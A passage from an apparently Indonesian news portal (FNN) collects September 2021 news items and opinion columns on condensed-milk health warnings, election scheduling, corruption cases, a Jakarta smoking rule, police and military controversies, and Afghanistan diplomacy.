50 persen, padahal WHO memberikan syarat maksimal 20 persen. “Jadi kalau minum SKM bukan minum susu, tapi minum gula rasa susu," katanya. Sementara Wakil Ketua Majelis Kesehatan PP Aisyiyah Noor Rachmah Praktinya mengakui masih terjadi salah pemahaman tentang SKM ini. "SKM bukan sebagai susu, tetapi hanya untuk campuran makanan dan dampak dari konsumsi SKM yang berlebihan terhadap kesehatan anak sangat besar," kata dia Menurut dia, apabila anak mengonsumsi dua gelas SKM sehari akan melebihi kebutuhan gula harian. Kelebihan asupan gula tersebut akan disimpan oleh tubuh dalam bentuk lemak, sehingga bisa menyebabkan kegemukan pada anak. "Karena itu, kami menunjukkan komitmen untuk terus melakukan edukasi kepada jamaah Aisyiyah untuk menerapkan pola makan dan pola asuh yang baik," katanya. (ant, sws)

BPOM Ingatkan SKM Bukan Susu Pengganti ASI

Jakarta, FNN - Badan Pengawas Obat dan Makanan (BPOM) melalui situs resminya mengumumkan bahwa susu kental manis (SKM) tak dianjurkan diseduh sebagai minuman susu. "SKM tidak dianjurkan untuk dikonsumsi sebagai hidangan tunggal berupa minuman susu. Susu kental dapat digunakan sebagai topping, pelengkap, atau campuran pada makanan atau minuman," demikian keterangan Badan POM dikutip pada Kamis (23/9). Menurut Badan POM, susu kental manis adalah produk susu yang memiliki karakteristik kadar lemak susu tidak kurang dari 8 persen dan kadar protein tidak kurang dari 6,5 persen. Hal itu sesuai dengan Peraturan Badan POM Nomor 34 Tahun 2019 tentang Kategori Pangan dan Codex Standard for Sweetened Condensed Milk (CXS 282-1971 Rev. 2018). Sekalipun termasuk sebagai produk susu, SKM tidak dapat digunakan sebagai satu-satunya sumber gizi. SKM juga tidak untuk menggantikan Air Susu Ibu (ASI) dan tidak cocok untuk dikonsumsi oleh bayi sampai usia 12 bulan. Masyarakat diminta bijak dalam mengonsumsi SKM dengan memperhatikan kandungan gizi, termasuk kandungan gula pada label informasi nilai gizi. Peraturan Menteri Kesehatan Nomor 30 tahun 2013 tentang Pencantuman Informasi Kandungan Gula, Garam, dan Lemak Serta Pesan Kesehatan Untuk Pangan Olahan dan Pangan Siap Saji menyatakan bahwa total asupan gula harian per orang dari berbagai sumber makanan paling banyak adalah sebanyak 50 gram atau dapat disetarakan dengan empat sendok makan. Badan POM RI mengajak masyarakat untuk menjadi konsumen cerdas dalam membeli produk pangan. Selalu ingat Cek “KLIK” (Kemasan, Label, izin Edar dan Kedaluwarsa) sebelum membeli atau mengonsumsi produk pangan. Pastikan kemasannya dalam kondisi utuh, baca informasi pada label, pastikan memiliki izin edar dari Badan POM RI, dan tidak melewati masa kedaluwarsa. (sws, ant)

Analis: UUD 45 Tidak Mengatur Detail Waktu Pelaksanaan Pemilu

Semarang, FNN - Analis politik dari Universitas Diponegoro Teguh Yuwono mengatakan bahwa UUD NRI Tahun 1945 tidak mengatur detail bulan atau tanggal pelaksanaan pemilihan umum, sebagaimana konstitusi Amerika Serikat. "Jadi, bulan dan tanggal fleksibel pada Pemilu Presiden/Wakil Presiden RI dan pemilu anggota legislatif pada tahun 2024," kata Dr. Teguh Yuwono, M.Pol. Admin. di Semarang, Kamis. Menurut alumnus Flinders University Australia itu, yang penting begitu habis masa kerja presiden/wakil presiden, anggota DPR, dan anggota Dewan Perwakilan Daerah (DPD) RI sudah harus ada pejabat baru yang dilantik. "Jadi, mau Februari, April, atau Mei, bahkan Juni 2024 tidak berpotensi melanggar konstitusi. Namun, yang penting pada bulan Oktober atau November harus sudah ada pelantikan," kata Teguh Yuwono yang juga Wakil Dekan I Fakultas Ilmu Sosial dan Politik (FISIP) Undip Semarang. Begitu pula dengan pendapat Ketua Mahkamah Konstitusi 2013—2015 Hamdan Zoelva. Menurut pakar hukum tata negara ini, yang terpenting adalah disesuaikan dengan masa jabatan untuk jabatan yang dipilih melalui pemilu, yaitu presiden/wakil presiden serta DPR, DPD, dan DPRD. "Yang penting masih dalam range 5 tahun tidak ada masalah," Ketua Umum Pimpinan Pusat/Lajnah Tanfiziah Syarikat Islam Dr. H. Hamdan Zoelva, S.H., M.H. Sebelumnya, Sekretaris Jenderal Partai Keadilan dan Persatuan (PKP) Said Salahudin meminta DPR, Pemerintah, KPU, dan Bawaslu RI perlu berhati-hati dalam menentukan jadwal Pemilu 2024. Said Salahudin di Jakarta, Senin (20/9), mengemukakan bahwa mengubah waktu pelaksanaan pemilu berpotensi inkonstitusional karena UUD NRI Tahun 1945 Pasal 22E Ayat (1) tegas menyatakan bahwa pemilihan umum dilaksanakan secara langsung, umum, bebas, rahasia, jujur, dan adil setiap lima tahun sekali. Said menjelaskan bahwa frasa "lima tahun" itu mudah sekali menghitungnya, yaitu 12 bulan dikali 5. Kalau pada tahun 2019 Pemilu dilaksanakan pada bulan April, 60 bulan berikutnya jatuh pada bulan April 2024. Menurut dia, semestinya semua pihak patuh dan konsisten pada perintah konstitusi karena negara harus dibangun dengan sistem yang ajek agar agenda kenegaraan lima tahunan bisa dilaksanakan sebagaimana mestinya. (sws, ant)

Wapres Optimistis Pemerintah Bisa Tekan Kemiskinan Hingga Nol Persen pada 2024

Jakarta, FNN - Wakil Presiden Ma’ruf Amin optimistis pemerintah dapat menekan angka kemiskinan ekstrem di Indonesia hingga nol persen pada akhir tahun 2024 dengan menerapkan berbagai strategi. "Rencana-rencana yang sudah kami siapkan, kami optimistis, untuk yang (miskin) ekstrem 2024 kami berusaha akan menekan sampai nol persen," kata Wapres dalam konferensi pers di Bentara Budaya Jakarta, Kamis. Wapres mengatakan pemerintah telah menyiapkan peta jalan untuk penyelesaian kemiskinan ekstrem di Indonesia pada akhir 2024. Namun, implementasi penyelesaian tersebut bergantung situasi dan keadaan di lapangan. "Roadmap-nya sudah ada, sudah disiapkan; tapi tentu tergantung situasi dan keadaan di medan. Seringkali kita membuat prediksi tapi tidak semua hal bisa kita lalui dengan mulus," jelasnya. Penyelesaian angka kemiskinan ekstrem hingga nol persen pada akhir 2024 merupakan target jangka panjang. Sementara untuk jangka pendek, pemerintah menargetkan miskin ekstrem selesai di 35 kabupaten dan kota di tujuh provinsi pada akhir 2021. "TNP2K (Tim Nasional Percepatan Penanggulangan Kemiskinan) merencanakan sesuai dengan target yang diberikan untuk 2021, yaitu sekitar 20 persen atau 2 juta lebih. Ini memang paling berat karena waktunya tinggal sebentar lagi," ujar Wapres. Ketujuh provinsi dengan target kemiskinan ekstrem nol persen tersebut ialah Jawa Barat, Jawa Tengah, Jawa Timur, Maluku, Nusa Tenggara Timur, Papua, dan Papua Barat. Penyelesaian angka kemiskinan ekstrem menjadi nol persen sejalan dengan tujuan pembangunan berkelanjutan atau sustainable development goals (SDGs) yang memuat komitmen global untuk menghapuskan kemiskinan ekstrem pada tahun 2030. Namun, Pemerintah Indonesia berupaya mempercepat target penyelesaian kemiskinan ekstrem di Indonesia dapat mencapai nol persen hingga akhir 2024. (sws, ant)

Luhut Menghina Papua, Nyumbang Kalau Menang Gugatan Haris Azhar

By Asyari Usman MENKO “Banyak Urusan”, Luhut Binsar Panjaitan (LBP), kembali membuat kejutan sekaligus pelecehan. Dia bilang kalau gugatan 100 miliar terhadap Haris Azhar (Lokataru) dan Fatia Maulidiyanti (Kontras) dikabulkan hakim, duitnya akan disumbangkan ke Papua. Ini jelas pelecehan terhadap rakyat Papua. Sebab, “uang panas” seperti itu tidak pantas diberikan kepada siapa pun. Itu menghina orang Papua, Pak Luhut. Meskipun niatnya baik. Nanti kalau mereka balas dengan narasi menohok, bisa kejang-kejang para penguasa di Jakarta. Misalnya begini. Orang Papua akan katakan, “Kami ini bukan orang miskin, Pak Luhut. Kami ini dimiskinkan oleh Panguasa.” Kalau mereka ucapkan itu, seratus persen benar. Lihat saja sejarah pengurasan bumi Papua oleh Freeport. Sudah berapa dekade. Berapa puluh tahun dikuras. Non-stop, 24 jam sehari. Yang diambil bukan tanggung-tanggung. Tapi kehidupan orang Papua begitu-begitu terus. Entah sudah berapa banyak emas yang telah dan akan dikeruk dari berbagai lokasi tambang di bumi Papua. Ada enam lokasi tambang Freeport di Papua (versi resmi). Yaitu, Grasberg Block Cave, Grasberg Open Pit, DMLZ, DOZ, Big Gossan, dan Kucing Liar. Menurut laporan tahunan PT Freeport Indonesia untuk 2017, dari keenam lokasi tambang ini ada cadangan tambang yang berisi tembaga, perak dan emas sebanyak 1.8 miliar ton. Cadangan ini akan dikuras oleh Freeport hingga akhir kontraknya pada 2041. Sejauh ini, hingga 31 Desember 2019 jumlah emas yang telah diambil mencapai 900 ton lebih. Masih ada sekitar 1,600 ton lagi yang akan dikuras sampai 2041. Untuk perak, yang akan digali hingga 2041 mencapai 8,500 ton. Sedangkan tembaga masih ada 20 juta ton lebih yang akan dikeruk Freeport. Nah, berapa duitnya itu, Pak Luhut? Dan semua angka-angka ini adalah versi resmi. Yaitu, berdasarkan laporan tahunan 2017 dan angka yang diungkapkan tahun lalu (2020) oleh wakil dirut Freeport bidang ekslporasi, Wahyu Sunyoto. Kalau menurut versi tak resmi, banyak orang yang yakin jumlahnya jauh lebih besar lagi dari angka-angka di atas. Jadi, orang Papua itu kaya. Cuma mereka hanya bisa menonton saja. Tidak adil ‘kan, Pak Luhut? Sudahlah tidak adil, sekarang Pak Luhut hina orang Papua dengan sumbangan 100 miliar. Itu pun kalau menang gugatan atas Haris dan Fatia. Kalau enggak menang, berarti tak jadi nyumbang. Kasihan sekali saudara sebangsa di Papua. Jangan begitulah, Tuan. Kalau mau nyumbang, keluarkanlah dari kantong sendiri. Masa sekalas Menko harus menunggu menang gugatan 100 miliar. Bikin malu komunitas bisnis itu, Pak Luhut. Masih ingat ‘kan, Akidi Tio saja nyaris berdonasi 2 (dua) triliun untuk bantu penanganan Covid. Saya sarankan Pak Luhut segera minta maaf ke orang Papua. Sebab, 100 miliar itu tak seberapa; apalagi uangnya dari hasil gugatan perdata pula. Setelah meminta maaf, bilang sama orang Papua bahwa Pak Luhut akan sumbang 1 triliun. Bukan 100 M. Supaya nanti bisa kelihatan dampaknya bagi rakyat di sana. Kalau berat rasanya duit sendiri 1 T, tentu bisa Pak Luhut ajak teman-teman super-kaya lainnya. Saya dengar, ada pejabat tinggi Indonesia yang diduga kuat punya simpanan tunai 1.5 (satu setengah) miliar USD di Singapura. Kalau 1.5 miliar dollar itu ‘kan berarti 21 triliun ‘kan Pak. Syukur-syukur Pak Luhut kenal dengan pejabat itu. Bisa diajak nyumbang ke Papua.[] (Penulis wartawan senior FNN)

Ketua DPRD: "Buku & Tulisan Yusuf Blegur, Aktifis 98 Bisa Jadi Referensi Politik Lokal dan Nasional yang Aktual

Kota Bekasi, FNN - Ketua DPRD Kota Bekasi, Ir. H. Chairoman J. Putro, B.Eng., M.Si., menerima karya penulis sekaligus aktivis 98 Yusuf Blegur berupa buku berjudul "Menyingkap Istana Boneka : Jokowi Pahlawan atau Pengkhianat" di Kantor DPRD Bekasi, Rabu (22/09/2021). Chairoman menyambut serta mengapresiasi hadirnya buku karya Yusuf Blegur, menurut Chairoman hal ini merupakan salah satu bentuk penyaluran ide dan gagasan warga menanggapi isu perpolitikan kontemporer. Pada kesempatan tersebut Chairoman melakukan dialog dan diskusi santai dengan Yusuf Blegur perihal kondisi politik lokal sebagai upaya untuk menjawab serta merespon isu-isu nasional yang coba dideskripsikan oleh Yusuf Blegur dalam buku tersebut. “Tema yang cukup menarik yakni mengangkat pandangan politik lokal, berikut dengan ide-idenya agar mampu merefleksikan atau merespon isu-isu Nasional,” Tukas Chairoman. "Buku & tulisan Yusuf Blegur, Aktifis 98 bisa jadi referensi politik lokal dan Nasional yang Aktual", tambah Chairoman Yusuf Blegur juga menyampaikan bahwa buku ini memiliki proses yang panjang dari pengamatan dan penelusuran utamanya suara rakyat yang terbelunggu, buku ini menginterpretasikan kepemimpinan Jokowi dalam 2 tahun belakang ini. “Hadirnya buku ini merupakan langkah dalam merapikan dan mengkonstruksi pikiran, selain itu penting untuk mendokumentasikannya agar bermanfaat bagi generasi mendatang” tambah Yusuf. Bang Choi, panggilan akrab Chairoman berharap dengan semakin banyak penulis lokal yang menerbitkan buku dapat membantu meningkatkan literasi warga. “DPRD Kota Bekasi sangat mendorong literasi warga untuk lebih terbuka dalam menyampaikan suaranya melalui buku atau tulisan” Jelas Chairoman. (Opick)

KPK Tetapkan Alex Noerdin Tersangka Kasus Dugaan Korupsi Dana Hibah Masjid Raya Sriwijaya.

Palembang, FNN - Kejaksaan Tinggi Sumatera Selatan menetapkan Gubernur Sumsel periode 2008 - 2018 Alex Noerdin sebagai tersangka dalam kasus dugaan tindak pidana korupsi dana hibah pembangunan Masjid Raya Sriwijaya. Kepala Seksi Penerangan Hukum Kejaksaan Tinggi Sumatera Selatan Khaidirman di Palembang, Rabu, mengatakan Alex Noerdin ditetapkan sebagai tersangka berdasarkan hasil temuan tim penyidik terhadap pemeriksaan saksi dan para terdakwa dalam kasus tersebut, yang mana menemukan bahwa pencairan dana hibah senilai Rp130 miliar itu tidak sesuai dengan prosedur. "Ditemukan kalau proses pencairan dana hibah itu tidak sesuai dengan prosedur," kata dia. Sehingga, lanjutnya, Alex Noerdin yang saat itu menjabat sebagai Gubernur Sumatera Selatan bertanggungjawab atas pencairan dana hibah senilai Rp130 miliar yang dicairkan dengan dua termin. Masing-masing senilai Rp50 miliar termin pertama tahun 2015, dan Rp80 miliar termin kedua pada 2017 dari dana APBD untuk pembangunan Masjid Raya Sriwijaya. Selain Alex Noerdin, dalam kasus tersebut pihaknya juga menetapkan mantan Bendahara Umum Yayasan Wakaf Masjid Sriwijaya Muddai Madang dan mantan Kepala Badan Pengelolaan Keuangan dan Aset Negara (BPKAD) Laoma L Tobing sebagai tersangka. "Laoma ditetapkan sebagai tersangka lantaran ia yang mencairkan dana hibah tersebut lalu untuk Muddai sebagai pihak yayasan yang menerima dana hibah itu," ujanya lagi. Maka dengan ditetapkannya status tiga orang tersebut sebagai tersangka dalam kasus dugaan tipikor Masjid Sriwijaya ini tercatat sudah ada lima orang. Masing-masing Ahmad Nasuhi (selaku mantan kepala biro Kesra Pemprov Sumsel), Mukti Sulaiman (mantan Sekretaris Daerah Sumsel). Lalu ada empat orang yang sudah ditetapkan sebagai terdakwa dan sudah disidangkan Pengadilan Negeri Palembang, yakni, Eddy Hermanto mantan Ketua Umum Pembangunan Masjid Sriwijaya. Dwi Kridayani KSO PT Brantas Abipraya - Yodya Karya, Syarifudin Ketua Divisi Lelang Pembangunan Masjid Sriwijaya dan Yudi Arminto Project Manager PT Brantas Abipraya. "Jadi total keseluruhan ada 9 orang," imbuhnya. Sebelumnya, pemberian dana hibah pembangunan Masjid Raya Sriwijaya ternyata maladministrasi terungkap oleh saksi dalam sidang lanjutan pembuktian tindak pidana korupsi (Tipikor) terhadap empat terdakwa (Edi Hermanto, Syarifudin, Yudi Arminto dan Dwi Krisdayani) di Pengadilan Negeri Palembang, Sumatera Selatan, Selasa (7/9). Dalam persidangan yang diketuai Hakim Sahlan Effendi itu, tiga orang dari sebelas saksi yang dihadirkan Jaksa Penuntut Umum (JPU) Kejaksaan Tinggi Sumatera Selatan mengungkapkan bahwa benar pemberian dana hibah dilakukan tanpa dokumen proposal dan pembahasan terpadu. Saksi Suwandi (tim verifikasi dokumen Sekretariat Daerah Pemerintah Provinsi Sumatera Selatan), mengatakan, pemberian dana hibah pembanguan masjid itu dilakukan tanpa dibekali oleh proposal permohonan dari Yayasan Wakaf Masjid Sriwijaya selaku penyelenggara pembangunan. “Tidak ada proposalnya tapi sudah cair dana hibah senilai Rp50 miliar,”kata dia. Ia menjelaskan, hal tersebut diketahui saat dirinya diperintah oleh Kepala Biro Kesra Ahmad Nasuhi (terdakwa) untuk melakukan verifikasi dokumen pencairan dana hibah pembangunan masjid tersebut tahun 2015. Saat memverifikasi dokumen itu, ia mendapati bahwa Yayasan Wakaf Masjid Sriwijaya sama sekali belum pernah menerbitkan proposal permohonan pembangunan ke Pemerintah Provinsi Sumatera Selatan. “Saya aneh juga bisa begitu,”cetusnya. Lalu saksi Agustinus Toni (mantan staf di Badan Pengelolaan Keuangan dan Aset Daerah Sumsel), mengatakan, ada dua tahap pencairan dana hibah untuk masjid itu, yaitu termin pertama pada tahun 2015 senilai Rp50 miliar dan termin kedua pada tahun 2017 senilai Rp80 miliar. Namun dari dua tahap pencairan itu, sama sekali tidak ada pembahasan sebelumnya bahkan tidak termasuk dalam RKPD saat itu. Sebab, menurutnya, semua sudah ditangani oleh Kepala BPKAD. "Saya hanya menjalani perintah yang mulia, semua usul selalu disetujui oleh ketua BPKAD atas nama Laoma L Tobing," ungkapnya. Lalu saat dana hibah itu cair, penyidik mendapati alamat rekening atas nama Yayasan Wakaf Masjid Sriwijaya Palembang itu beralamat di jalan Danau Pose E 11 nomor 85 Jakarta, sekaligus juga merupakan alamat rumah Lumasiah selaku wakil sekretaris Yayasan Wakaf Masjid Sriwijaya yang ditetapkan sebagai saksi. Padahal dalam aturannya pemberian dana hibah bisa dilakuan bila penerima berdomisili di Sumatera Selatan. Sedangkan nama Alex Noerdin sudah mencuat dalam surat dakwaan Jaksa Penuntut Umum (JPU) Kejaksaan Tinggi Sumatera Selatan dalam sidang terhadap empat terdakwa yang sudah ditetapkan lebih dulu di Pengadilan Negeri Palembang, Selasa (27/7). Saat itu JPU menyebut ia patut diduga menerima dana senilai Rp2.343.000.000 serta sewa ongkos helikopter senilai Rp300.000.000 total senilai Rp2.643.000.000. Dana itu ditelusuri dari dana operasional pembangunan Masjid Raya Sriwijaya tahun 2015 senilai Rp50 miliar yang diserahkan Arminto (project manager PT Brantas Abipraya) dan PT Kodya Karya melalui Ketua Panitia Divisi Lelang Pembangunan Masjid Sriwijaya, Syarifuddin. Para tersangka dan terdakwa disebut telah melanggar Pasal 2 juncto Pasal 18 UU Nomor 20 Tahun 2001 jo. Pasal 55 KUHP dan subsider Pasal 3 jo. Pasal 18 No. 20/2001 jo. Pasal 55 Ayat (1) ke-1 KUHP. (sws, ant)

Bupati Kolaka Timur Andi Merya Nur Meminta Uang Rp250 Juta Atas Dua Proyek

Jakarta, FNN - Bupati Kolaka Timur Andi Merya Nur (AMN) diduga meminta uang sejumlah Rp250 juta atas dua proyek pekerjaan di Kabupaten Kolaka Timur, Sulawesi Tenggara yang berasal dari dana hibah Badan Nasional Penanggulangan Bencana (BNPB). Hal tersebut terungkap dalam konstruksi perkara yang menjerat Andi Merya bersama Kepala BPBD Kabupaten Kolaka Timur Anzarullah (AZR) sebagai tersangka oleh Komisi Pemberantasan Korupsi (KPK). "Sebagai realisasi kesepakatan, AMN diduga meminta uang sebesar Rp250 juta atas dua proyek pekerjaan yang akan didapatkan AZR tersebut," ujar Wakil Ketua KPK Nurul Ghufron saat jumpa pers, di Gedung KPK, Jakarta, Rabu. Ghufron menjelaskan pada Maret-Agustus 2021, Andi Merya dan Anzarullah menyusun proposal dana hibah BNPB berupa dana Rehabilitasi dan Rekonstruksi (RR) serta Dana Siap Pakai (DSP). "Kemudian awal September 2021, AMN dan AZR datang ke BNPB Pusat di Jakarta untuk menyampaikan paparan terkait dengan pengajuan dana hibah logistik dan peralatan di mana Pemkab Kolaka Timur memperoleh dana hibah BNPB, yaitu hibah relokasi dan rekonstruksi senilai Rp26,9 miliar dan hibah dana siap pakai senilai Rp12,1 miliar," ujarnya pula. Tindak lanjut atas pemaparan tersebut, kata dia, Anzarullah kemudian meminta Andi Merya agar beberapa proyek pekerjaan fisik yang bersumber dari dana hibah BNPB tersebut nantinya dilaksanakan oleh orang-orang kepercayaan Anzarullah dan pihak-pihak lain yang membantu mengurus agar dana hibah tersebut cair ke Pemkab Kolaka Timur. Ia mengatakan khusus untuk paket belanja jasa konsultansi perencanaan pekerjaan jembatan dua unit di Kecamatan Ueesi senilai Rp714 juta, dan belanja jasa konsultansi perencanaan pembangunan 100 unit rumah di Kecamatan Uluiwoi senilai Rp175 juta akan dikerjakan oleh Anzarullah. "AMN menyetujui permintaan AZR tersebut dan sepakat akan memberikan fee kepada AMN sebesar 30 persen," kata Ghufron. Selanjutnya, Andi Merya memerintahkan Anzarullah untuk berkoordinasi langsung dengan Dewa Made Ratmawan selaku Kepala Bagian Unit Layanan Pengadaan (ULP), agar memproses pekerjaan perencanaan lelang konsultan dan mengunggahnya ke Layanan Pengadaan Secara Elektronik (LPSE). "Sehingga perusahaan milik AZR dan/atau grup AZR dimenangkan serta ditunjuk menjadi konsultan perencana pekerjaan dua proyek dimaksud," kata Ghufron. Ia mengatakan Andi Merya diduga meminta uang Rp250 juta atas dua proyek pekerjaan yang akan didapatkan Anzarullah tersebut. "AZR kemudian menyerahkan uang sebesar Rp25 juta lebih dahulu kepada AMN, dan sisanya sebesar Rp225 juta sepakat akan diserahkan di rumah pribadi AMN di Kendari," ujar dia. Adapun sisa uang Rp225 juta tersebut yang diamankan KPK saat operasi tangkap tangan (OTT) terhadap Andi Merya dan kawan-kawan. Anzarullah selaku pemberi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. Sedangkan Andi Merya selaku penerima disangkakan melanggar Pasal 12 huruf (a) atau Pasal 12 huruf (b) atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. (ant, sws)

Preventif Adiktif Kawasan Jakarta

Oleh: Yusuf Blegur Terkait Seruan Gubernur (Sergub) DKI No.8 tentang Pembinaan Kawasan Dilarang Merokok, bisa dipastikan akan menimbulkan polemik bagi masyarakat Jakarta. Mengingat rokok telah menjadi kebutuhan sekaligus gaya hidup bagi sebagian besar orang. Aktivitas yang pada akhirnya dianggap menjadi habit. Industri zat adiktif yang menggerakkan sektor kapital besar dan lapangan kerja luas itu merupakan persoalan klasik dan terus ada melingkupi kontroversi berbahaya atau tidaknya, sehat atau tidaknya, bahkan pada soal halal atau haramnya mengonsumsi rokok. Kebijakan Anies Baswedan kali ini, pada prinsipnya merupakan hal yang positif dan banyak memberi manfaat bagi masyarakat Jakarta khususnya. Penutupan etalase dengan hordeng atau media apapun untuk pajangan dan penjualan rokok di retail-retail modern. Dapat membatasi penyebaran dan konsumsi produk yang mengandung zat adiktif itu. Terlebih di tengah pandemi. kebijakan tersebut bisa berdampak mengurangi penyebaran virus covid-19. Pembinaan kawasan dilarang merokok dapat mengurangi komunitas perokok dan meningkatkan penggunaan masker di ruang publik. Mengenai kekhawatiran dunia industri rokok yang menyatakan kebijakan itu mengganggu para pelaku usaha. Padahal mereka selama ini taat pada peraturan pemerintah daerah. Hal itu menjadi tidak beralasan mengingat aturan ini berkolerasi pada substansi membatasi semua hal atau kegiatan yang mengganggu aktifitas ruang publik, melindungi anak-anak termasuk perempuan dan utamanya menjaga kesehatan lingkungan masyarakat di ruang terbuka. Layaknya kebijakan-kebijakan penting dan strategis lainnya. Termasuk soal ekonomi. Jika itu merubah kebiasaan masyarakat yang selama ini dianggap buruk dan merugikan atau lebih banyak mudaratnya. Tentunya pada fase awal akan menimbulkan ketidaknyamanan elemen masyarakat tertentu. Terjadi semacam "culture shock" dalam pelaksanaannya. Akan tetapi di kemudian hari, masyarakat akan terbiasa juga dengan pola hidup yang baik, displin dan menjaga lingkungan sosial. Termasuk kesehatan dan keselamatan masyarakat yang harus menjadi skala prioritas bagi Anies Baswedan. Harapannya ke depan pembinaan kawasan dilarang merokok ini, dapat berlaku di semua tempat di Jakarta. Tidak ada diskriminatif bagi daerah dan para penjual rokok. Peraturannya tidak semata berlaku pada retail modern seperti mini market dan super market. Namun bisa luas hingga pada warung kelontong dan toko-toko lainnya di lingkungan masyarakat yang lebih luas. Semoga kebijakan ini juga dapat menular bagi daerah-daerah lain di seluruh Indonesia. Sekali lagi, Anies tetap humanis. Penulis, Pegiat Sosial dan Aktifis Human Luhur Berdikari.

TNI Polri Harus Mawas Diri

By M Rizal Fadillah DUA figur Perwira Tinggi meramaikan jagat pemberitaan. Seorang TNI dan satunya lagi Polri. Keduanya melakukan langkah heroik sekurangnya dalam perspektifnya. Publik juga tidak sedikit yang bersimpati atas aksi dan langkahnya. Mencoba memahami akan keyakinan, alasan dan pertanggungjawaban perbuatannya. Adalah Brigjen Junior Tumilaar, Irdam XIII Merdeka yang membela seorang Babinsa agar tidak diperiksa oleh Kepolisian karena membantu dan melindungi seorang warga Ari Tahiru (67) dalam sengketa lahan dengan Citra Land Manado. Babinsa itu di samping dipanggil Polres juga didatangi Brimob Polda Sulut. Atas pemanggilan yang dinilai tidak patut ini, Junior menulis surat terbuka kepada Kapolri dengan tembusan kepada Panglima TNI, KSAD, Pangdam XIII Merdeka, serta anggota Komisi III DPR RI. Akibat surat terbukanya Junior diperiksa di Markas Puspomad Jakarta dan penjelasan Mabes TNI AD bernada menyalahkan perbuatannya. Adapun yang menarik dari sikap Junior adalah kalimat "Saya tentara pejuang. Saya tentara rakyat. Saya pertanggungjawabkan amanah jabatan saya". Perwira lainnya adalah Irjen Pol Napoleon Bonaparte. Mantan Kadiv Hubungan Internasional Polri memukul dan melumuri wajah sesama tahanan Rutan Bareskrim M. Kosman alias Kece dengan kotoran manusia. Muhamad Kece ini memang keterlaluan dalam menghina agama Islam dan Nabi Muhammad SAW. Umat Islam bereaksi keras termasuk MUI dan Ormas Islam lainnya. Simpati pada Napoleon Bonaparte muncul atas alasan dari sikapnya yaitu : "Siapapun bisa menghina saya, tetapi tidak terhadap Allah ku, Rosulullah SAW, dan akidah Islam ku, karenanya saya bersumpah akan melakukan tindakan terukur apapun kepada siapa saja yang berani melakukannya". Ujung komitmennya adalah "akhirnya saya akan mempertanggungjawabkan semua tindakan saya terhadap Kece, apapun risikonya". Kedua peristiwa di atas hanya sebuah kasus dan bisa dianggap kecil, akan tetapi dalam konteks lain peristiwa ini memilik spektrum luas. Spektrum perjuangan dan pemberontakan terhadap kebijakan politik yang menekan dan tidak berpihak pada rakyat dan umat. Semua tahu bahwa tindakan Brigjen Junior dan Irjen Pol Napoleon Bonaparte berlebihan dan berada di luar garis disiplin TNI dan Kepolisian. Yang mengkritisi perbuatannya pun dimaklumi atas dasar protap-protap. Kedua perwira tinggi ini pun sangat faham dan sadar sehingga menegaskan kesiapan untuk mempertanggungjawabkan semua perbuatannya itu. Persoalannya bukan disitu, tetapi ini adalah teriakan keras kepada TNI untuk kembali ke jati dirinya sebagai tentara pejuang dan tentara rakyat. Mengoreksi kelaziman yang selalu menjadi pelindung dari pengusaha. Membangun kembali wibawa kesatuan atas arogansi institusi lain. Pemanggilan Babinsa oleh Polisi dan penggerudukan oleh Brimob adalah sebuah penistaan. TNI saja diperlakukan demikian apalagi rakyat biasa. Di sisi lain umat Islam kini merasa terzalimi oleh kebijakan politik yang tidak memihak bahkan netral sekalipun. Hukum tidak mampu mengayomi bahkan ironinya telah menjadi alat dari kekuasaan. Penistaan agama dibiarkan apalagi itu dilakukan oleh buzzer dan pendukung pemerintah. Penangkapan Kece sangat lambat menunggu dahulu reaksi dahsyat umat. Bonaparte menyentak dengan aksi berani yang memberi arti. Meski kini ia diberi sanksi untuk berada di ruang isolasi akan tetapi pesannya telah berada di ruang yang luas dan terbuka. Saatnya TNI dan Polri untuk mawas diri, jangan menjadi penghianat rakyat dan memusuhi umat. TNI dan Polri harus "back to basic". Kembali dari berselancar dan bertualang di kancah politik yang dirasakan sudah terlalu jauh. Berhentilah dari peran sebagai algojo kekuasaan. Rakyat dan umat perlu pengayoman dan perlindungan TNI dan Polri. *) Pemerhati Politik dan Kebangsaan

Indonesia Diharapkan Terus Berkonstribusi Terhadap Afghaninstan

Jakarta, FNN - Indonesia diharapkan terus berkontribusi terhadap Afghanistan yang damai, stabil, dan sejahtera. Hal itu disampaikan Ketua Dewan Tinggi Rekonsiliasi Nasional Afghanistan 2020-2021, Abdullah Abdullah kepada Menteri Luar Negeri RI Retno Marsudi. Dalam pembicaraan lewat telefon Selasa (21/9), kedua tokoh tersebut saling bertukar pikiran dan membahas situasi di Afghanistan saat ini, menyusul pengambilalihan kekuasaan oleh kelompok Taliban pada Agustus. “Ini bukan merupakan engagement (pendekatan—red) pertama saya dengan beliau (Abdullah). Beberapa kali kami bertemu dalam kapasitasnya di pemerintahan Afghanistan sebelumnya,” tutur Retno ketika menyampaikan keterangan pers secara virtual dari New York, Amerika Serikat, Rabu, 22 September 2021. Abdullah merupakan mantan kepala pemerintah Afghanistan pada masa pemerintahan Presiden Ashraf Ghani. Sebagai pendukung proses perdamaian di Afghanistan, kata Menlu Retno, Indonesia memfokuskan upaya pada dua isu utama yang sering kali disebut sebagai building blocks. Yaitu kerja sama di kalangan ulama dan pemberdayaan perempuan. “Saya tekankan, kepentingan Indonesia hanya satu, yaitu ingin melihat rakyat Afghanistan menikmati perdamaian, sejahtera, dan pemenuhan hak-haknya, termasuk hak-hak perempuan,” tutur Retno. Ia sedang berada di New York mengikuti rangkaian Sidang ke-76 Majelis Umum Perserikatan Bangsa-Bangsa (SMU PBB), sebagaimana dikutip dari Antara. Dengan memanfaatkan forum dunia tersebut, Retno terus mengangkat isu Afghanistan termasuk dalam pertemuan bilateral dengan mitra-mitranya dari Turki, Arab Saudi, Inggris, dan Jordan. Indonesia berbagi pandangan yang sama dengan negara-negara tersebut dalam menyikapi isu Afghanistan, terutama pada pentingnya penghormatan terhadap hak-hak perempuan di Afghanistan. "Kami juga membahas pentingnya OKI untuk menyampaikan pesan (tersebut) kepada pemerintah sementara Afghanistan,” ujar Menlu Retno, merujuk pada Organisasi Kerja Sama Islam. (MD).

Dua Mantan Pejabat Ditjen Pajak Didakwa Terima Suap Rp 57 Miliar

